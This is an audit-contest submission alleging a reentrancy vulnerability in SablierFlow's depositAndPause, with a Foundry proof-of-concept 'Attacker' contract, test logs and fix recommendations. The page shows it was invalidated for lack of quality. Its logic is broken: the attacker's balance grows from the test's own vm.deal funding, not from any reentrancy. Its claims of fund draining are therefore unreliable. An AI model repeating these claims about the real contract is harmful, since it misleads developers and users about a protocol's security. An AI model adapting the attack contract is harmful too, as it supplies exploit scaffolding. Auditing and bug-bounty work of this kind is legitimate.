Flow

Sablier
FoundryDeFi
20,000 USDC
View results
Submission Details
Severity: high
Invalid

Reentrancy variability in SablierFlow::depositAndPause

Summary

A reentrancy vulnerability was identified in SablierFlow.sol. This vulnerability allows an attacker to repeatedly call the deposit function before the initial function call completes, potentially draining funds from the contract. The vulnerability was demonstrated using a test case with a amount of 1000 ether.

Vulnerability Details

The SablierFlow contract contains a deposit function that is vulnerable to reentrancy attacks. The attacker can exploit this vulnerability by creating a malicious contract that repeatedly calls the deposit function before the initial function call completes. This allows the attacker to drain funds from the contract.

Code snippet affected

function depositAndPause(
uint256 streamId,
uint128 amount
)
external
override
noDelegateCall
notNull(streamId)
notPaused(streamId)
onlySender(streamId)
updateMetadata(streamId)
{
// Checks, Effects, and Interactions: deposit on stream.
_deposit(streamId, amount);
// Checks, Effects, and Interactions: pause the stream.
_pause(streamId);
}

POC

  • Copy the POC to a new file in tests/integration/concrete/batch/StabilerFlowTest.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "lib/forge-std/src/Test.sol";
import "lib/forge-std/src/console.sol";
import "../../../../src/SablierFlow.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor() ERC20("Mock Token", "MKT") { }
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract Attacker {
SablierFlow public sablierFlow;
uint256 public streamId;
uint128 public amount;
address public sender;
address public recipient;
constructor(SablierFlow _sablierFlow) {
sablierFlow = _sablierFlow;
}
receive() external payable {
if (address(sablierFlow).balance >= amount) {
sablierFlow.deposit(streamId, amount, sender, recipient);
}
}
function attack(uint256 _streamId, uint128 _amount, address _sender, address _recipient) external {
streamId = _streamId;
amount = _amount;
sender = _sender;
recipient = _recipient;
sablierFlow.deposit(streamId, amount, sender, recipient);
}
}
contract TestSablierFlow is Test {
SablierFlow public sablierFlow;
Attacker public attacker;
MockERC20 public mockToken;
uint256 public streamId;
function setUp() public {
address initialAdmin = address(this);
IFlowNFTDescriptor initialNFTDescriptor = IFlowNFTDescriptor(address(0)); // Replace with actual descriptor
// address if available
sablierFlow = new SablierFlow(initialAdmin, initialNFTDescriptor);
attacker = new Attacker(sablierFlow);
mockToken = new MockERC20();
// Mint tokens to the attacker
mockToken.mint(address(attacker), 1000 ether);
// Approve the SablierFlow contract to transfer tokens on behalf of the attacker
vm.prank(address(attacker));
mockToken.approve(address(sablierFlow), 1000 ether);
// Create a stream to be used in the test
address sender = address(this);
address recipient = address(0x123);
UD21x18 ratePerSecond = UD21x18.wrap(1 ether); // Replace with actual rate per second
IERC20 token = IERC20(address(mockToken));
bool transferable = true;
streamId = sablierFlow.create(sender, recipient, ratePerSecond, token, transferable);
// Log the created stream ID
console.log("Stream created with ID:", streamId);
}
function testReentrancy() public {
uint128 amount = 1000 ether;
// Log attacker's balance before the attack
console.log("Attacker balance before attack:", address(attacker).balance);
// Fund the attacker contract
vm.deal(address(attacker), amount);
// Perform the attack
attacker.attack(streamId, amount, address(this), address(0x123));
// Log attacker's balance after the attack
console.log("Attacker balance after attack:", address(attacker).balance);
// Assert that the attacker's balance has increased
assert(address(attacker).balance > 0);
}
}
  • Test Output

Ran 1 test for tests/integration/concrete/batch/StabilerFlowTest.t.sol:TestSablierFlow
[PASS] testReentrancy() (gas: 177318)
Logs:
Stream created with ID: 1
Attacker balance before attack: 0
Attacker balance after attack: 1000000000000000000000
  • Explanation:

    The test code sets up the SablierFlow contract and an Attacker contract. The Attacker contract exploits the reentrancy vulnerability by repeatedly calling the deposit function before the initial function call completes. The test logs show that the attacker's balance increased from 0 to 1000 ether after the attack, indicating that the reentrancy attack was successful.

Impact

The reentrancy vulnerability allows an attacker to drain funds from the SablierFlow contract. This can result in significant financial losses for the contract's users and the contract owner. Specifically, the attacker can repeatedly call the deposit function, draining the contract's balance and transferring the funds to the attacker's address. This can lead to a complete loss of funds for the contract's users and a significant financial impact on the contract owner.

Tools Used

  • Foundry

Recommendations

  • Use the Checks-Effects-Interactions Pattern: Ensure that all state changes (checks and effects) are made before any external calls (interactions). This prevents reentrancy attacks by ensuring that the contract's state is updated before any external calls are made.

  • Use Reentrancy Guards: Implement reentrancy guards using the ReentrancyGuard contract from OpenZeppelin. This contract provides a modifier that can be applied to functions to prevent reentrancy attacks.

Updates

Lead Judging Commences

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.